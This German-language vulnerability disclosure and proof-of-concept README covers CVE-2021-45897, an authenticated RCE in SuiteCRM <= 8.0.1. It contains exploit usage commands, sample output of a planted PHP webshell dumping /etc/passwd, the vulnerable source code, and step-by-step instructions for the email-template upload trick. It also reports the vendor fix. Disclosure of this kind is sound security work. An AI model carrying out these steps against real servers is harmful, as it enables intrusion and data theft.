
# Authentifizierter RCE-Exploit für SuiteCRM <= 8.0.1 über E-Mail-Vorlagen-Bild-Upload, der eine PHP-Webshell für die Remote-Befehlsausführung platziert.
PoC für CVE-2021-45897 aka SCRMBT-#180 - RCE über E-Mail-Vorlagen (nur authentifiziert) in SuiteCRM <= 8.0.1
Diese Schwachstelle wurde an SalesAgility gemeldet und in SuiteCRM 7.12.3 und SuiteCRM Core 8.0.2 behoben. Wenn Sie ältere Versionen von SuiteCRM verwenden, empfehle ich dringend ein Update.
Installation
python3 und pip installiert ist.git clone https://github.com/manuelz120/CVE-2021-45897.gitpip3 install -r "requirements.txt"Verfügbare Optionen:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2021-45897
Beispielverwendung:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------ Ending command output ------
INFO:CVE-2021-45897:Enjoy your shell :)
Ich habe kürzlich einen interessanten RCE-Angriffsvektor in der PHP-basierten SuiteCRM-Software entdeckt. Die Schwachstelle erlaubt einem authentifizierten Angreifer mit Zugriff auf das EmailTemplates-Modul, bösartige PHP-Dateien hochzuladen, die zur Erlangung von Remote-Code-Ausführung genutzt werden können.
Aus meiner Sicht wirkt die gesamte Datei-Upload-Verarbeitung in SuiteCRM recht sicher. Obwohl es viel benutzerdefinierten Code gibt, haben die Entwickler großen Wert darauf gelegt, entweder alle Dateierweiterungen zu entfernen (was bei den meisten Dateitypen geschieht) oder die Erweiterungen zu validieren und den Inhalt zu bereinigen, falls es sich um ein Bild handelt. Es gibt sogar eine Plugin-Schnittstelle, um Antiviren-Scanner von Drittanbietern zu laden und alle Uploads von ihnen verarbeiten zu lassen.
Allerdings bin ich zufällig auf eine interessante kleine Funktion gestoßen, die in public/legacy/modules/EmailTemplates/EmailTemplate.php versteckt ist:
private function repairEntryPointImages()
{
global $sugar_config;
// repair the images url at entry points, change to a public direct link for remote email clients..
$html = from_html($this->body_html);
$siteUrl = $sugar_config['site_url'];
$regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';
if (preg_match($regex, $html, $match)) {
$splits = explode('.', $match[1]);
$fileExtension = end($splits);
$this->makePublicImage($match[2], $fileExtension);
$newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
$this->body_html = to_html(str_replace($match[1], $newSrc, $html));
$this->imageLinkReplaced = true;
$this->repairEntryPointImages();
}
}
private function makePublicImage($id, $ext = 'jpg')
{
$toFile = 'public/' . $id . '.' . $ext;
if (file_exists($toFile)) {
return;
}
$fromFile = 'upload://' . $id;
if (!file_exists($fromFile)) {
throw new Exception('file not found');
}
if (!file_exists('public')) {
sugar_mkdir('public', 0777);
}
$fdata = file_get_contents($fromFile);
if (!file_put_contents($toFile, $fdata)) {
throw new Exception('file write error');
}
}
SuiteCRM erlaubt Benutzern, E-Mail-Vorlagen zu erstellen. Die Vorlagen können auch Anhänge enthalten, die in einem separaten Modul (dem Notes-Modul) gespeichert werden. Benutzer können beliebige Dateien an E-Mail-Vorlagen anhängen. Der Inhalt der Datei wird in keiner Weise bereinigt. Sie wird jedoch ohne Erweiterung gespeichert, sodass sie selbst dann nicht vom Webserver ausgeführt würde, wenn sie potenziell bösartigen PHP-Code enthält. Authentifizierte Benutzer können diese Anhänge auch über einen Link im Format /index.php?entryPoint=download&type=Notes&id=<note-id> herunterladen.
Die Funktion repairEntryPointImages wird immer dann ausgelöst, wenn eine E-Mail-Vorlage gespeichert oder aufgerufen wird. Wenn wir uns den Code ansehen, erkennen wir, dass sie das Markup (body_html) der E-Mail-Vorlage parst und nach HTML-img-Tags mit einem speziellen src-Attribut sucht. Der reguläre Ausdruck entspricht im Wesentlichen dem Format des internen Anhang-Download-Links. Diese Links funktionieren jedoch nur für Benutzer, die in SuiteCRM authentifiziert sind, was beim Empfänger der E-Mail höchstwahrscheinlich nicht der Fall ist. Daher erstellt SuiteCRM automatisch eine Kopie des Anhangs im public-Ordner des Webservers und ersetzt den internen Download-Link durch die öffentliche Version. Um sicherzustellen, dass der E-Mail-Client die Bilder korrekt anzeigt, wird außerdem eine Dateierweiterung hinzugefügt. Die Erweiterung der Zieldatei im öffentlichen Ordner wird jedoch direkt aus dem filename-Abfrageparameter des Bild-src übernommen und nicht validiert (beachten Sie, dass filename keine andere Logik auslöst und frei gewählt werden kann).
Jetzt haben wir alles zusammen, um einen Exploit zu erstellen, der eine PHP-Webshell im public-Ordner hochlädt:
Notes-Modul, indem Sie eine PHP-Webshell hochladen. Merken Sie sich die ID der Note./index.php?entryPoint=download&type=Notes&id=<note_id> herunterladen können.repairEntryPointImages entspricht, aber .php für den filename-Abfrageparameter verwendet (z. B. /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />).repairEntryPointImages aus und kopiert unsere Webshell mit der Erweiterung .php in den public-Ordner.http://<<host>>/public/<<note_id>>.php.Kurz nach meiner Meldung wurden neue SuiteCRM-Versionen (7.12.3 und 8.0.2) veröffentlicht, die den folgenden Fix enthalten:

Dies stellt sicher, dass in repairEntryPointImages nur gültige Bilddateierweiterungen verwendet werden, und verhindert die Erstellung von Dateien mit nicht auf der Whitelist stehenden Erweiterungen wie .php.